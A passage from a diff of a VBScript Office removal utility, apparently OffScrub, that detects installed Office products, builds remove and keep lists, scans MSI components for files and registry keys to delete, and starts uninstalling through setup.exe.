+    'Wipe orphaned files from Windows Installer cache
+    MsiClearOrphanedFiles
+
+    'Temporary .msi files in scrubcache
+    DeleteMsiScrubCache
+
+    'Temporary files
+    DelScrubTmp
+
+Else
+    Log "Skipping CleanUp because bypass was requested."
+End If
+
+If Not sMoveMessage = "" Then Log vbCrLf & "Please remove this folder after next reboot: " & sMoveMessage
+
+'THE END
+Log vbCrLf & "End removal: " & Now & vbCrLf
+Log vbCrLf & "For detailed logging please refer to the log in folder " &chr(34)&sScrubDir&chr(34)&vbCrLf
+
+If fRebootRequired Then
+    Log vbCrLf & "A restart is required to complete the operation!"
+    If NOT (fQuiet OR fPassive OR fNoReboot) Then
+        If MsgBox("Do you want to reboot now?",vbYesNo,"Reboot Required") = VB_YES Then
+            Dim colOS, oOS
+            Dim oWmiReboot
+            Set oWmiReboot = GetObject("winmgmts:{{impersonationLevel=impersonate,(Shutdown)}!\\.\root\cimv2")
+            Set colOS = oWmiReboot.ExecQuery ("Select * from Win32_OperatingSystem")
+            For Each oOS in colOS
+                oOS.Reboot()
+            Next
+        End If
+    End If
+End If
+
+If NOT (fQuiet OR fPassive) Then
+    For Each Item in Wscript.Arguments
+        If Item = "UAC" Then
+            If fCscript Then wscript.stdout.write "Press <Enter> to close this window"
+            sTemp = wscript.stdin.read(1)
+        End If
+    Next 'Argument
+End If
+'=======================================================================================================
+'=======================================================================================================
+
+'Stage 0 - 4 Subroutines
+'=======================================================================================================
+
+'Office configuration products are listed with their configuration product name in the "Uninstall" key
+'To identify an Office configuration product all of these condiditions have to be met:
+' - "SystemComponent" does not have a value of "1" (DWORD)
+' - "OPACKAGE" (see constant declaration) entry exists and is not empty
+' - "DisplayVersion" exists and the 2 leftmost digits are "OVERSIONMAJOR"
+Sub FindInstalledOProducts
+    Dim ArpItem, File
+    Dim sCurKey, sValue, sConfigName, sProdC, sCVHValue
+    Dim sProductCodeList, sProductCode
+    Dim arrKeys, arrMultiSzValues
+    Dim fSystemComponent0, fPackages, fDisplayVersion, fReturn, fCategorized
+
+    If dicInstalledSku.Count > 0 Then Exit Sub 'Already done from InputBox prompt
+
+    'Handle orphaned products to get them added to the detection scope
+    If fTryReconcile Then
+        For Each File in oFso.GetFolder(sWICacheDir).Files
+            If Len(File.Name)>3 Then
+                Select Case LCase(Right(File.Name, 4))
+                Case ".msi"
+                    sProductCode = ""
+                    sProductCode = GetMsiProductCode(File.Path)
+                    If InScope(sProductCode) Then
+                        If NOT RegKeyExists(HKLM, REG_ARP & sProductCode) Then
+                            'Ensure the orphaned item is getting removed
+                            If Len(sSkuRemoveList) > 0 Then
+                                sSkuRemoveList = sSkuRemoveList & "," & GetProductID(Mid(sProductCode, 11, 4))
+                            Else
+                                sSkuRemoveList = GetProductID(Mid(sProductCode, 11, 4))
+                            End If
+                            'Add to ScrubDir
+                            oFso.CopyFile File.Path,sScrubDir & "\" & sProductCode & ".msi",True
+                            'Register the product with MSI
+                            MsiRegisterProduct File.Path
+                        End If 'NOT sProductCode
+                    End If 'InScope
+                Case Else
+                End Select
+            End If '>3
+        Next 'File
+    End If 'fTryReconcile
+
+    'Locate standalone Office products that have no configuration product entry and create a
+    'temporary configuration entry
+    ReDim arrTmpSKUs(-1)
+    If RegEnumKey(HKLM, REG_ARP, arrKeys) Then
+        For Each ArpItem in arrKeys
+            If InScope(ArpItem) Then
+                sCurKey = REG_ARP & ArpItem & "\"
+                fSystemComponent0 = Not (RegReadValue(HKLM, sCurKey, "SystemComponent", sValue, "REG_DWORD") AND (sValue = "1"))
+                If fSystemComponent0 Then
+                    RegReadValue HKLM, sCurKey, "DisplayVersion", sValue, "REG_SZ"
+                    Redim arrMultiSzValues(0)
+                    'Logic changed to drop the LCID identifier
+                    'sConfigName = GetProductID(Mid(ArpItem,11,4)) & "_" & CInt("&h" & Mid(ArpItem,16,4))
+                    sConfigName = OREGREF & GetProductID(Mid(ArpItem, 11, 4))
+                    If NOT RegKeyExists(HKLM, REG_ARP&sConfigName) Then
+                        'Create a new ARP item
+                        ReDim Preserve arrTmpSKUs(UBound(arrTmpSKUs) + 1)
+                        arrTmpSKUs(UBound(arrTmpSKUs)) = sConfigName
+                        oReg.CreateKey HKLM, REG_ARP & sConfigName
+                        arrMultiSzValues(0) = sConfigName
+                        oReg.SetMultiStringValue HKLM, REG_ARP & sConfigName, OPACKAGE, arrMultiSzValues
+                        arrMultiSzValues(0) = ArpItem
+                        oReg.SetStringValue HKLM, REG_ARP & sConfigName, "Comment", "Temporary OffScrub generated key. Please delete this key!"
+                        oReg.SetMultiStringValue HKLM, REG_ARP & sConfigName, "ProductCodes", arrMultiSzValues
+                        oReg.SetStringValue HKLM, REG_ARP & sConfigName, "DisplayVersion", sValue
+                        oReg.SetStringValue HKLM, REG_ARP & sConfigName, "DisplayName", SCRIPTNAME & "_" & sConfigName
+                        oReg.SetDWordValue HKLM, REG_ARP & sConfigName, "SystemComponent", 0
+                    Else
+                        'Update the existing temporary ARP item
+                        fReturn = RegReadValue(HKLM, REG_ARP&sConfigName, "ProductCodes", sProdC, "REG_MULTI_SZ")
+                        If NOT InStr(sProdC, ArpItem) > 0 Then sProdC = sProdC & chr(34) & ArpItem
+                        oReg.SetMultiStringValue HKLM, REG_ARP & sConfigName, "ProductCodes", Split(sProdC, Chr(34))
+                    End If 'RegKeyExists
+                End If 'fSystemComponent0
+            End If 'InScope
+        Next 'ArpItem
+    End If 'RegEnumKey
+
+    'Find the configuration products
+    If RegEnumKey(HKLM, REG_ARP, arrKeys) Then
+        For Each ArpItem in arrKeys
+            sCurKey = REG_ARP & ArpItem & "\"
+            sValue = ""
+            fSystemComponent0 = NOT (RegReadValue(HKLM, sCurKey, "SystemComponent", sValue, "REG_DWORD") AND (sValue = "1"))
+            fPackages = RegReadValue(HKLM, sCurKey, OPACKAGE, sValue, "REG_MULTI_SZ")
+            fDisplayVersion = RegReadValue(HKLM, sCurKey, "DisplayVersion", sValue, "REG_SZ")
+            If fDisplayVersion Then
+                If Len(sValue) > 1 Then
+                    fDisplayVersion = (Left(sValue, 2) = OVERSIONMAJOR)
+                Else
+                    fDisplayVersion = False
+                End If
+            End If
+            'fSystemComponent0 filter causes issues if the ARP entries have been hidden
+            'If (fSystemComponent0 AND fPackages AND fDisplayVersion) Then
+            If (fPackages AND fDisplayVersion) Then
+                If InStr(ArpItem,".") > 0 Then sConfigName = UCase(Mid(ArpItem, InStr(ArpItem, ".") + 1)) Else sConfigName = UCase(ArpItem)
+                If NOT dicInstalledSku.Exists(sConfigName) Then dicInstalledSku.Add sConfigName, sConfigName
+
+                'Categorize the SKU
+                'Four categories are available: ClientSuite, ClientSingleProduct, Server, C2R
+                If RegReadValue(HKLM, REG_ARP & OREGREF & sConfigName, "ProductCodes", sProductCodeList, "REG_MULTI_SZ") Then
+                    fCategorized = False
+                    For Each sProductCode in Split(sProductCodeList, Chr(34))
+                        If Len(sProductCode) = 38 Then
+                            If Mid(sProductCode, 11, 1) = "1" Then
+                                'Server product
+                                If NOT dicSrv.Exists(UCase(sConfigName)) Then dicSrv.Add UCase(sConfigName), sConfigName
+                                fCategorized = True
+                                Exit For
+                            Else
+                                Select Case Mid(sProductCode, 11, 4)
+                                'Client Suites
+                                Case "000F","0011","0012","0013","0014","0015","0016","0017","0018","0019","001A","001B","0029","002B","002E","002F","0030","0031","0033","0035","0037","003D","0044","0049","0061","0062","0066","006C","006D","006F","0074","00A1","00A3","00A9","00BA","00CA","00E0","0100","0103","011A"
+                                    If NOT dicCSuite.Exists(UCase(sConfigName)) Then dicCSuite.Add UCase(sConfigName), sConfigName
+                                    fCategorized = True
+                                    Exit For
+
+                                Case "007E", "008F", "008C", "24E1", "237A"
+                                    If NOT dictionaryKeepProd.Exists(sProductCode) Then dictionaryKeepProd.Add sProductCode, sConfigName
+                                    fC2rInstalled = True
+                                Case Else
+                                End Select
+                            End If
+                        End If 'Len 38
+                    Next 'sProductCode
+                    If NOT fCategorized Then
+                        If NOT dicCSingle.Exists(UCase(sConfigName)) Then dicCSingle.Add UCase(sConfigName), sConfigName
+                    End If 'fCategorized
+                End If 'RegReadValue "ProductCodes"
+            End If
+        Next 'ArpItem
+    End If 'RegEnumKey
+End Sub 'FindInstalledOProducts
+'=======================================================================================================
+
+'Check if there are Office products from previous versions on the computer
+Sub CheckForLegacyProducts
+    Const OLEGACY = "78E1-11D2-B60F-006097C998E7}.6000-11D3-8CFE-0050048383C9}.6000-11D3-8CFE-0150048383C9}.BDCA-11D1-B7AE-00C04FB92F3D}.6D54-11D4-BEE3-00C04F990354}"
+    Dim Product
+
+    'Set safe default
+    fLegacyProductFound = True
+
+    For Each Product in oMsi.Products
+        If Len(Product) = 38 Then
+            'Handle O09 - O11 Products
+            If InStr(OLEGACY, UCase(Right(Product, 28))) > 0 Then
+                'Found legacy Office product. Keep flag in default and exit
+                Exit Sub
+            End If
+            If UCase(Right(Product,PRODLEN)) = OFFICEID Then
+                Select Case Mid(Product,4,2)
+                Case "12", "14"
+                    'Found legacy Office product. Keep flag in default and exit
+                    Exit Sub
+                Case Else
+                End Select
+            End If
+        End If '38
+    Next 'Product
+    fLegacyProductFound = False
+
+End Sub 'CheckForLegacyProducts
+'=======================================================================================================
+
+'Create clean list of Products to remove.
+'Strip off bad & empty contents
+Sub ValidateRemoveSkuList
+    Dim Sku, Key, sProductCode, sProductCodeList
+    Dim arrRemoveSKUs
+
+    If fRemoveAll Then
+        'Remove all mode
+        For Each Key in dicInstalledSku.Keys
+            dicRemoveSku.Add Key,dicInstalledSku.Item(Key)
+        Next 'Key
+    Else
+        'Remove individual products or preconfigured configurations mode
+
+        'Ensure to have a string with no unexpected contents
+        sSkuRemoveList = Replace(sSkuRemoveList,";",",")
+        sSkuRemoveList = Replace(sSkuRemoveList," ","")
+        sSkuRemoveList = Replace(sSkuRemoveList,Chr(34),"")
+        While InStr(sSkuRemoveList,",,")>0
+            sSkuRemoveList = Replace(sSkuRemoveList,",,",",")
+        Wend
+
+        'Prepare 'remove' and 'keep' dictionaries to determine what has to be removed
+
+        'Initial pre-fill of 'keep' dic
+        For Each Key in dicInstalledSku.Keys
+            dictionaryKeepSku.Add Key,dicInstalledSku.Item(Key)
+        Next 'Key
+
+        'Determine contents of keep and remove dic
+        'Individual products
+        arrRemoveSKUs = Split(UCase(sSkuRemoveList),",")
+        For Each Sku in arrRemoveSKUs
+            If Sku = "OSE" Then fRemoveOse = True
+            If dictionaryKeepSku.Exists(Sku) Then
+                'A Sku to remove has been passed in
+                'remove the item from the keep dic
+                dictionaryKeepSku.Remove(Sku)
+                'Now add it to the remove dic
+                If NOT dicRemoveSku.Exists(Sku) Then dicRemoveSku.Add Sku,Sku
+            End If
+        Next 'Sku
+
+        'Client Suite Category
+        If fRemoveCSuites Then
+            For Each Key in dicInstalledSku.Keys
+                If dicCSuite.Exists(Key) Then
+                    If dictionaryKeepSku.Exists(Key) Then dictionaryKeepSku.Remove(Key)
+                    If NOT dicRemoveSku.Exists(Key) Then dicRemoveSku.Add Key,Key
+                End If
+            Next 'Key
+        End If 'fRemoveCSuites
+
+        'Client Single/Standalone Category
+        If fRemoveCSingle Then
+            For Each Key in dicInstalledSku.Keys
+                If dicCSingle.Exists(Key) Then
+                    If dictionaryKeepSku.Exists(Key) Then dictionaryKeepSku.Remove(Key)
+                    If NOT dicRemoveSku.Exists(Key) Then dicRemoveSku.Add Key,Key
+                End If
+            Next 'Key
+        End If 'fRemoveCSingle
+
+        'Server Category
+        If fRemoveSrv Then
+            For Each Key in dicInstalledSku.Keys
+                If dicSrv.Exists(Key) Then
+                    If dictionaryKeepSku.Exists(Key) Then dictionaryKeepSku.Remove(Key)
+                    If NOT dicRemoveSku.Exists(Key) Then dicRemoveSku.Add Key,Key
+                End If
+            Next 'Key
+        End If 'fRemoveSrv
+
+        If NOT dictionaryKeepSku.Count > 0 Then fRemoveAll = True
+
+    End If 'fRemoveAll
+
+    'Fill the KeepProd dic
+    For Each Sku in dictionaryKeepSku.Keys
+        If RegReadValue(HKLM, REG_ARP & OREGREF & Sku, "ProductCodes", sProductCodeList, "REG_MULTI_SZ") Then
+            For Each sProductCode in Split(sProductCodeList, chr(34))
+                If Len(sProductCode) = 38 Then
+                    If NOT dictionaryKeepProd.Exists(sProductCode) Then
+                    	dictionaryKeepProd.Add sProductCode, Sku
+                    	' also add the UpgradeCode
+                    	If Not dictionaryKeepProd.Exists(GetUpgradeCode(sProductCode)) Then dictionaryKeepProd.Add GetUpgradeCode(sProductCode), Sku & "_UpgradeCode"
+                    End If
+                End If '38
+            Next 'sProductCode
+        End If
+    Next 'Sku
+
+    If fRemoveAll OR fRemoveOse Then CheckRemoveOSE
+    If fRemoveAll OR fRemoveOspp Then CheckRemoveOspp
+
+End Sub 'ValidateRemoveSkuList
+'=======================================================================================================
+
+'Check if OSE service can be scrubbed
+Sub CheckRemoveOSE
+    Const O11 = "6000-11D3-8CFE-0150048383C9}"
+    Dim Product
+
+    If fRemoveOse Then Exit Sub
+    For Each Product in oMsi.Products
+        If Len(Product) = 38 Then
+            If UCase(Right(Product, 28)) = O11 Then
+                'Found Office 2003 Product. Set flag to not remove the OSE service
+                Exit Sub
+            End If
+            If UCase(Right(Product, PRODLEN))= OFFICEID Then
+                Select Case Mid(Product, 4, 2)
+                Case "12","14","15","16","17"
+                    If NOT Mid(Product, 4, 2) = OVERSIONMAJOR Then
+	                    'Found another Office product. Set flag to keep the OSE service
+                        fRemoveOse = False
+                        Exit Sub
+                    End If
+                Case Else
+                End Select
+            End If
+        End If '38
+    Next 'Product
+    fRemoveOse = True
+End Sub 'CheckRemoveOSE
+'=======================================================================================================
+
+'Check if OSPP service can be scrubbed
+Sub CheckRemoveOSPP
+    Dim Product
+
+    If NOT CInt(OVERSIONMAJOR) > 12 Then
+        fRemoveOspp = False
+        Exit Sub
+    End If
+
+    If fRemoveOspp Then Exit Sub
+
+    If fC2rInstalled Then
+        fRemoveOspp = False
+        Exit Sub
+    End If
+
+    For Each Product in oMsi.Products
+        If Len(Product) = 38 Then
+            If UCase(Right(Product, PRODLEN)) = OFFICEID Then
+                Select Case Mid(Product, 4, 2)
+                Case "14","15","16","17"
+                    If NOT Mid(Product, 4, 2) = OVERSIONMAJOR Then
+						'Found another Office product. Set flag to keep the OSPP service
+                        fRemoveOspp = False
+                        Exit Sub
+                    End If
+                Case Else
+                End Select
+            End If
+        End If '38
+    Next 'Product
+    fRemoveOspp = True
+End Sub 'CheckRemoveOSPP
+'=======================================================================================================
+
+'Cache .msi files for products that will be removed in case they are needed for later file detection
+Sub CacheMsiFiles
+    Dim Product
+    Dim sMsiFile
+
+    'Non critical routine for failures.
+    'Errors will be logged but must not fail the execution
+    On Error Resume Next
+    Log " Cache .msi files to temporary Scrub folder"
+    'Cache the files
+    For Each Product in oMsi.Products
+        'Ensure valid GUID length
+        If CheckDeleteEx(Product) Then
+            CheckError "CacheMsiFiles"
+            sMsiFile = oMsi.ProductInfo(Product,"LocalPackage") : CheckError "CacheMsiFiles"
+            LogOnly " - " & Product & ".msi"
+            If oFso.FileExists(sMsiFile) Then oFso.CopyFile sMsiFile,sScrubDir & "\" & Product & ".msi",True
+            CheckError "CacheMsiFiles"
+        End If 'InScope
+    Next 'Product
+
+    Err.Clear
+End Sub 'CacheMsiFiles
+'=======================================================================================================
+
+'Build a list of all files that will be deleted
+Sub ScanComponents
+    Const MSIINSTALLSTATE_LOCAL = 3
+
+    Dim FileList, RegList, ComponentID, CompClient, Record, qView, MsiDb, CompVerbose
+    Dim Processes, Process, Prop, prod
+    Dim sQuery, sSubKeyName, sPath, sFile, sMsiFile, sCompClient, sComponent, sCompReg
+    Dim fRemoveComponent, fAffectedComponent, fIsPermanent, fIsFile, fIsFolder
+    Dim i, iProgress, iCompCnt, iRemCnt
+    Dim dicFLError, oDic, oFolderDic, dicCompPath
+    Dim hDefKey
+
+    'Logfile
+    Set FileList = oFso.OpenTextFile(sScrubDir & "\FileList.txt",FOR_WRITING,True,True)
+    Set RegList = oFso.OpenTextFile(sScrubDir & "\RegList.txt",FOR_WRITING,True,True)
+    Set CompVerbose = oFso.OpenTextFile(sScrubDir & "\CompVerbose.txt",FOR_WRITING,True,True)
+
+    'FileListError dic
+    Set dicFLError = CreateObject("Scripting.Dictionary")
+
+    Set oDic = CreateObject("Scripting.Dictionary")
+    Set oFolderDic = CreateObject("Scripting.Dictionary")
+    Set dicCompPath = CreateObject("Scripting.Dictionary")
+
+    'Prevent that API errors fail script execution
+    On Error Resume Next
+
+    iCompCnt = oMsi.Components.Count
+    If NOT Err = 0 Then
+        'API failure
+        Log "Error during components detection. Cannot complete this task."
+        Err.Clear
+        Exit Sub
+    End If
+
+    'Ensure to not divide by zero
+    If iCompCnt = 0 Then iCompCnt = 1
+    LogOnly " Scanning " & iCompCnt & " components"
+    'Enum all Components
+    For Each ComponentID In oMsi.Components
+        CompVerbose.WriteLine vbCrLf & "Checking Component: " & ComponentID
+
+        'Progress bar
+        i = i + 1
+        If iProgress < (i / iCompCnt) * 100 Then
+            If fCScript Then wscript.stdout.write "." : LogStream.Write "."
+            iProgress = iProgress + 1
+            If iProgress = 35 OR iProgress = 70 Then Log ""
+        End If
+
+        'Check if all ComponentClients will be removed
+        sCompClient = ""
+        iRemCnt = 0
+        fIsPermanent = False
+        fRemoveComponent = False 'Flag to track if the component will be completely removed
+        fAffectedComponent = False 'Flag to track if some clients remain installed who have a none shared location
+        dicCompPath.RemoveAll
+        Err.Clear
+        For Each CompClient In oMsi.ComponentClients(ComponentID)
+            CompVerbose.Write " CompClient " & CompClient & "-> "
+            If Err = 0 Then
+                'Ensure valid guid length
+                If Len(CompClient) = 38 Then
+                    fRemoveComponent = InScope(CompClient)
+                    If fRemoveComponent OR (CompClient = "{{00000000-0000-0000-0000-000000000000}") Then
+                        sPath = ""
+                        sPath = LCase(oMsi.ComponentPath(CompClient,ComponentID))
+                        sPath = Replace(sPath,"?",":")
+                        'Scan for msidbComponentAttributesPermanent flag
+                        If CompClient = "{{00000000-0000-0000-0000-000000000000}" Then
+                            fIsPermanent = True
+                            iRemCnt = iRemCnt + 1
+                        End If
+                        If fRemoveComponent Then fRemoveComponent = CheckDelete(CompClient)
+                        CompVerbose.Write "CheckDelete: " & fRemoveComponent & "; "
+                        If fRemoveComponent Then
+                            iRemCnt = iRemCnt + 1
+                            fAffectedComponent = True
+                            'Since the scope remains within one Office family the keypath for the component
+                            'is assumed to be identical
+                            If sCompClient = "" Then sCompClient = CompClient
+                        ' flag the CompClient entry for removal
+                            sCompReg = "Installer\Components\"&GetCompressedGuid(ComponentID)&"\"&GetCompressedGuid(CompClient)
+                            If NOT dicDelRegKey.Exists(sCompReg) Then
+                                dicDelRegKey.Add sCompReg,HKCR
+                                RegList.WriteLine HiveString(HKCR)&"\"&sCompReg
+                            End If
+                            sCompReg = "SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\"&GetCompressedGuid(ComponentID)&"\"&GetCompressedGuid(CompClient)
+                            If NOT dicDelRegKey.Exists(sCompReg) Then
+                                dicDelRegKey.Add sCompReg,HKLM
+                                RegList.WriteLine HiveString(HKCR)&"\"&sCompReg
+                            End If
+                        Else
+                            If NOT dicCompPath.Exists(sPath) Then dicCompPath.Add sPath,CompClient
+                        End If
+                        CompVerbose.WriteLine "AffectedComponent: " & fAffectedComponent
+                        CompVerbose.WriteLine " CompClient now set to: " & sCompClient
+                    Else
+                        CompVerbose.Write "InScope: " & fRemoveComponent & "; "
+                    End If
+                Else
+                    CompVerbose.WriteLine "Error: Invalid metadata"
+                    If NOT dicFLError.Exists("Error: Invalid metadata found. ComponentID: "&ComponentID &", ComponentClient: "&CompClient) Then _
+                        dicFLError.Add "Error: Invalid metadata found. ComponentID: "&ComponentID &", ComponentClient: "&CompClient, ComponentID
+                End If '38
+            Else
+                CompVerbose.WriteLine "Error: " & Err.number & " " & Err.Description
+                Err.Clear
+            End If 'Err = 0
+        Next 'CompClient
+
+        'Determine if the component resources go away
+        sPath = ""
+        fRemoveComponent = fAffectedComponent AND (iRemCnt = oMsi.ComponentClients(ComponentID).Count)
+        CompVerbose.WriteLine " Component goes away: " & fRemoveComponent
+' This caused unintentional removals
+'        If NOT fRemoveComponent AND fAffectedComponent Then
+'            'Flag as removable if component has a unique keypath
+'            sPath = LCase(oMsi.ComponentPath(sCompClient,ComponentID))
+'            sPath = Replace(sPath,"?",":")
+'            fRemoveComponent = NOT dicCompPath.Exists(sPath)
+'        End If
+        If fRemoveComponent Then
+            'Check msidbComponentAttributesPermanent flag
+            If fIsPermanent AND NOT fForce Then fRemoveComponent = False
+            CompVerbose.WriteLine " msidbComponentAttributesPermanent: " & NOT fRemoveComponent
+        End If
+
+        If fRemoveComponent Then
+            CompVerbose.WriteLine " RESULT: Component IN SCOPE for removal"
+            fIsFile = False : fIsFolder = False
+
+            'Component resources go away for this product
+            Err.Clear
+            'Add the component registration key to ensure removal
+            sCompReg = "Installer\Components\"&GetCompressedGuid(ComponentID)&"\"
+            If NOT dicDelRegKey.Exists(sCompReg) Then
+                dicDelRegKey.Add sCompReg,HKCR
+                RegList.WriteLine HiveString(HKCR)&"\"&sCompReg
+            End If
+            sCompReg = "SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\"&GetCompressedGuid(ComponentID)&"\"
+            If NOT dicDelRegKey.Exists(sCompReg) Then
+                dicDelRegKey.Add sCompReg,HKLM
+                RegList.WriteLine HiveString(HKCR)&"\"&sCompReg
+            End If
+            'Get the component path
+            If sPath = "" Then
+                sPath = LCase(oMsi.ComponentPath(sCompClient,ComponentID))
+                sPath = Replace(sPath,"?",":")
+            End If
+            CompVerbose.WriteLine " Path: " & sPath
+            If Len(sPath) > 4 Then
+                If Left(sPath,1) = "0" Then
+                    'Registry keypath
+
+                    Select Case Left(sPath,2)
+                    Case "00"
+                        sPath = Mid(sPath,5)
+                        hDefKey = HKCR
+                    Case "01"
+                        sPath = Mid(sPath,5)
+                        hDefKey = HKCU
+                    Case "02","22"
+                        sPath = Mid(sPath,5)
+                        hDefKey = HKLM
+                    Case Else
+                        '
+                    End Select
+
+                    'Go for the safe way and just reset the default entry
+                    'compared to deleting the whole key
+                    If Right(sPath,1) = "\" Then sPath = sPath & "(Default)"
+
+                    If NOT dicDelRegKey.Exists(sPath) Then
+                        dicDelRegKey.Add sPath,hDefKey
+                        RegList.WriteLine HiveString(hDefKey)&"\"&sPath
+                    End If
+                Else
+
+                    'File or Folder
+                    If oFso.FileExists(sPath) OR oFso.FolderExists(sPath) Then
+                        If Right(sPath,1) = "\" Then
+                            fIsFolder = True
+                            CompVerbose.WriteLine " Folder check OK"
+                        Else
+                            fIsFile = True
+                            CompVerbose.WriteLine " File check OK"
+                        End If
+                        If fIsFile Then sPath = oFso.GetFile(sPath).ParentFolder
+                        If Not oFolderDic.Exists(sPath) Then
+                            oFolderDic.Add sPath,sPath
+                            FileList.WriteLine sPath & vbTab & "(FOLDER)"
+                        End If
+                        'Get the .msi file
+                        If oFso.FileExists(sScrubDir & "\" & sCompClient & ".msi") Then
+                            sMsiFile = sScrubDir & "\" & sCompClient & ".msi"
+                        Else
+                            sMsiFile = oMsi.ProductInfo(sCompClient,"LocalPackage")
+                        End If
+                        CompVerbose.WriteLine " Set msi file to : " & sMsiFile
+                        If Not Err = 0 Then
+                            CompVerbose.WriteLine " Error: Failed to obtain .msi file for product " & sCompClient
+                            If NOT dicFLError.Exists("Failed to obtain .msi file for product "&sCompClient) Then _
+                                dicFLError.Add "Failed to obtain .msi file for product "&sCompClient, ComponentID
+                            Err.Clear
+                        End If
+                        CompVerbose.Write " Open .msi file for reading returned: "
+                        Set MsiDb = oMsi.OpenDatabase(sMsiFile,MSIOPENDATABASEREADONLY)
+
+                        If Err = 0 Then
+                            CompVerbose.WriteLine " SUCCESS"
+                            'Get the component name from the 'Component' table
+                            sQuery = "SELECT `Component`,`ComponentId` FROM Component WHERE `ComponentId` = '" & ComponentID &"'"
+                            Set qView = MsiDb.OpenView(sQuery) : qView.Execute
+                            Set Record = qView.Fetch()
+                            If Not Record Is Nothing Then sComponent = Record.Stringdata(1)
+                            CompVerbose.WriteLine " Obtained ComponentId as: " & sComponent
+
+                            'Get filenames from the 'File' table
+                            sQuery = "SELECT `Component_`,`FileName` FROM File WHERE `Component_` = '" & sComponent &"'"
+                            Set qView = MsiDb.OpenView(sQuery) : qView.Execute
+                            Set Record = qView.Fetch()
+                            Do Until Record Is Nothing
+                                'Read the filename
+                                sFile = Record.StringData(2)
+                                If InStr(sFile,"|") > 0 Then sFile = Mid(sFile,InStr(sFile,"|")+1,Len(sFile))
+                                'sFile = sPath & "\" & sFile
+                                CompVerbose.WriteLine "  File: " & sPath& "\" & sFile
+                                If Not oDic.Exists(sPath & "\" & sFile) Then
+                                    'Exception handler
+                                    fAdd = True
+                                    Select Case UCase(sFile)
+                                    Case "FPERSON.DLL"
+                                        'Catch exception caused by changed .msi keypath authoring logic for smart tags
+                                        For Each prod in oMsi.Products
+                                            If NOT Checkdelete(prod) Then
+                                                If oMsi.FeatureState(prod, "MSTagPluginNamesFiles") = MSIINSTALLSTATE_LOCAL Then
+                                                    fAdd = False
+                                                    Exit For
+                                                End If
+                                            End If
+                                        Next 'prod
+                                    Case Else
+                                    End Select
+                                    If fAdd Then
+                                        CompVerbose.WriteLine "  Added as new file to dictionary"
+                                        oDic.Add sPath & "\" & sFile,sFile
+                                        FileList.WriteLine sFile & vbTab & sPath & "\" & sFile
+                                        If Len(sFile)>4 Then
+                                            sFile = LCase(sFile)
+                                            If Right(sFile,4) = ".exe" Then
+                                                If NOT dicApps.Exists(sFile) Then
+                                                    Select Case sFile
+                                                    Case "setup.exe","ose.exe","osppsvc.exe","explorer.exe"
+                                                    Case Else
+                                                        dicApps.Add sFile,LCase(sPath) & "\" & sFile
+                                                        CompVerbose.WriteLine "  Added to the list of processes that need to be closed."
+                                                    End Select
+                                                End If 'dicApps.Exists
+                                            End If '.exe
+                                        End If 'Len > 4
+                                    End If 'fAdd
+                                End If 'oDic.Exists
+                                Set Record = qView.Fetch()
+                            Loop
+                            Set Record = Nothing
+                            qView.Close
+                            Set qView = Nothing
+                        Else
+                            CompVerbose.WriteLine " Error: Could not read from .msi file"
+                            If NOT dicFLError.Exists("Error: Could not read from .msi file: "&sMsiFile) Then _
+                                dicFLError.Add "Error: Could not read from .msi file: "&sMsiFile, ComponentID
+                            Err.Clear
+                        End If 'Err = 0
+                    Else
+                        CompVerbose.WriteLine " Error: File check FAILED"
+                    End If 'FileExists(sPath)
+                End If
+            End If 'Len(sPath) > 4
+        Else
+            CompVerbose.WriteLine " RESULT: Component NOT in scope for removal"
+            If fAffectedComponent Then
+                'Add the path to the 'Keep' dictionary
+                Err.Clear
+                For Each CompClient In oMsi.ComponentClients(ComponentID)
+                    'Get the component path
+                    sPath = "" : sPath = LCase(oMsi.ComponentPath(CompClient,ComponentID))
+                    sPath = Replace(sPath,"?",":")
+
+                    If Len(sPath) > 4 Then
+                        If Left(sPath,1) = "0" Then
+                            'Registry keypath
+
+                            Select Case Left(sPath,2)
+                            Case "00"
+                                sPath = Mid(sPath,5)
+                                hDefKey = HKCR
+                            Case "01"
+                                sPath = Mid(sPath,5)
+                                hDefKey = HKCU
+                            Case "02","22"
+                                sPath = Mid(sPath,5)
+                                hDefKey = HKLM
+                            Case Else
+                                '
+                            End Select
+                            If NOT dictionaryKeepReg.Exists(LCase(sPath)) Then
+                                dictionaryKeepReg.Add LCase(sPath),hDefKey
+                            End If
+                        Else
+                            'File keypath
+                            If oFso.FileExists(sPath) Then
+                                If NOT dictionaryKeepFolder.Exists(LCase(sPath)) Then dictionaryKeepFolder.Add LCase(sPath)
+                                sPath = LCase(oFso.GetFile(sPath).ParentFolder) & "\"
+                                If NOT dictionaryKeepFolder.Exists(sPath) Then AddKeepFolder sPath
+                            End If
+                            'Folder keypath
+                            If oFso.FolderExists(sPath) Then AddKeepFolder sPath
+                        End If 'Is Registry
+                    End If 'sPath > 4
+                Next 'CompClient
+            End If 'fAffectedComponent
+        End If 'fRemoveComponent
+        Err.Clear
+    Next 'ComponentID
+    On Error Goto 0
+
+    Log " Done" & vbCrLf
+    If dicFLError.Count > 0 Then LogOnly Join(dicFLError.Keys,vbCrLf)
+    If Not oFolderDic.Count = 0 Then arrDeleteFolders = oFolderDic.Keys Else Set arrDeleteFolders = Nothing
+    If Not oDic.Count = 0 Then arrDeleteFiles = oDic.Keys Else Set arrDeleteFiles = Nothing
+End Sub 'ScanComponents
+'=======================================================================================================
+
+
+'Try to remove the products by calling setup.exe
+Sub SetupExeRemoval
+    Dim OseService, Service, TextStream
+    Dim iSetupCnt, RetVal
+    Dim Sku, sConfigFile, sUninstallCmd, sCatalyst, sDll, sDisplayLevel, sNoCancel
+    iSetupCnt = 0
+    If Not dicRemoveSku.Count > 0 Then
+        Log " Nothing to remove for Setup.exe"
+        Exit Sub
+    End If
+
+    'Ensure that the OSE service is *installed, *not disabled, *running under System context.
+    'If validation fails exit out of this sub.
+    Set OseService = oWmiLocal.Execquery("Select * From Win32_Service Where Name like 'ose%'")
+    If OseService.Count = 0 Then Exit Sub
+    For Each Service in OseService
+        If (Service.StartMode = "Disabled") AND (Not Service.ChangeStartMode("Manual")=0) Then Exit Sub
+        If (Not Service.StartName = "LocalSystem") AND (Service.Change( , , , , , , "LocalSystem", "")) Then Exit Sub
+    Next 'Service
+
+    For Each Sku in dicRemoveSku.Keys
+
+        If Sku="CLICK2RUN" Then
+            'Already done
+        Else
+            'Create an "unattended" config.xml file for uninstall
+            If fQuiet Then sDisplayLevel = "None" Else sDisplayLevel="Basic"
